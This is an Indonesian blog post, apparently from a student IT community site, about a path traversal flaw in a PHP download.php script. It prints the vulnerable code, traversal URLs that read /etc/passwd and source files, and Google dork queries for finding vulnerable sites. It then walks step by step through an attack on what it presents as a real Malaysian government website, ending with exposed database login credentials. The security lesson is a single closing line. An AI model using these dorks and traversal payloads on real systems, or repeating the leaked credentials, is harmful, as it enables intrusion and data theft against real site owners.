Kesalahan Programing pada file download.php
Bagi developer web salah satu permasalahan yang paling sering dihadapi adalah masalah keamanan dari sisi aplikasi. Bayangkan jika misalnya kita developt script yang berfungsi untuk memberikan fasilitas download secara dinamik.
Misalnya kita tinggal mengirim parameter ke script download.php seperti download.php?filename=<diisi dengan nama file>
Melihat konsep diatas kebanyakan script yg didevelopt juga seperti ini
<?php
$filename=$_GET["filename"];
$fullpath=”doc/dokumen/”.$filename;
session_cache_limiter(“public, post-check=50″);
header(“Cache-Control: private”);
header(“Content-Type: application/zip”);
header(“Content-Length: “.filesize($fullpath));
header(“Content-Disposition: attachment; filename=$filename”);
readfile($fullpath);
?>
Tapi code yang sederhana diatas sangat mungkin untuk diserang atau dengan kata lain script tersebut memiliki lubang keamanan yang sangat fatal untuk diexplore oleh hacker.
Seorang attacker cukup mengetik url berikut www.contoh.com/download.php?filename=../../download.php
maka web akan segera mengirim file download.php kealamat host attacker.
Sedangkan untuk mencari korban bisa kita gunakan google, misalkan dengan syntax
inurl:”download.php?file=” ,
atau inurl:”download.php?file=*.pdf” -intext:”download.php?file=*.pdf”
atau yang lainnya. Bayangkan jika attacker mengirim url berikut
www.contoh.com/download.php?filename=/../../../../../../etc/passwd
maka attacker akan memperoleh informasi ttg user yang ada diwebserver yang diserang. Seperti info yang penulis dapatkan berikut
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
atau mungkin attacker ingin mendapatkan informasi yang lebih misalnya untuk mendapatkan password mysql atau lainnya itu bisa saja.
Untuk studi kasus kita akan coba pada situs berikut ini
http://www.xxx.gov.my/ maaf dengan alasan keamanan nama situsnya sengaja dirahasiakan. Dari situs ini file yang vurnerable ada pada link http://www.xxx.gov.my/pipp/download.php?filename= link ini yang akan kita explorer. Ok kita akan melakukan penyerangan step by step
1) Sekarang kita akan coba baca file index.php untuk mengetahui configurasi dan file apa saja yang diikutkan dalam script nya. Ketik link berikut http://www.xxx.gov.my/pipp/download.php?filename=../../index.php kita akan mendapat informasi berikut ini
<?php
header(“Cache-Control: no-cache, must-revalidate”); // HTTP/1.1
header(“Expires: Mon, 26 Jul 1970 05:00:00 GMT”); // Date in the past
session_start();
include_once(“mainfile.php”);
global $dbi;
Dari info diatas ternyata ada sebuah file lagi yang diikutkan saat file index.php dieksekusi, file tersebut mainfile.php
2). Download script mainfile.php untuk mengetahui lebih jauh tentang tehnik programing dari web ini http://www.xxx.gov.my/pipp/download.php?filename=../../mainfile.php didapatkan hasil seperti berikut ini
<?php
include (“include/mysql.php”);
include (“include/verify_user.php”);
$content=”";
//$dbi=sql_connect(“localhost”, “root”,”",”pipp”);
$dbi=sql_connect(“mysql5″, “bdasaredu”,”emis%5%5″,”my_data_pipp”);
Saya rasa informasi yang diperlihatkan diatas sudah menjelaskan sebagian informasi koneksi ke database.
Jadi kesimpulan yang bisa kita ambil dari permasalahan diatas yakni, aplikasi web yang seharusnya dikembangkan haruslah memperhatikan masalah keamanannya juga.
Incoming search terms:
- inurl: rgboard4/list php
- file download php
- php script download file
- php include mengirim parameter
- nurl:/download php?filename=
- inurl=member_download php
- inurl=download php
- Inurl://index php?=gov/my
- inurl: root:x:0:0:root:/root:/bin/bash
- Download file php dari website





stmikbg.com adalah web untuk komunitas bagi anak-anak stmik bumigora khususnya dan anak-anak IT umumnya, baek yang cupu maupun yang expert.
March 5th, 2008 at 7:34 pm
injek injek hehehehehehe
March 14th, 2008 at 7:18 am
aduh aduh…..inject inject
ngomongin apa ya???? maklum masih newbie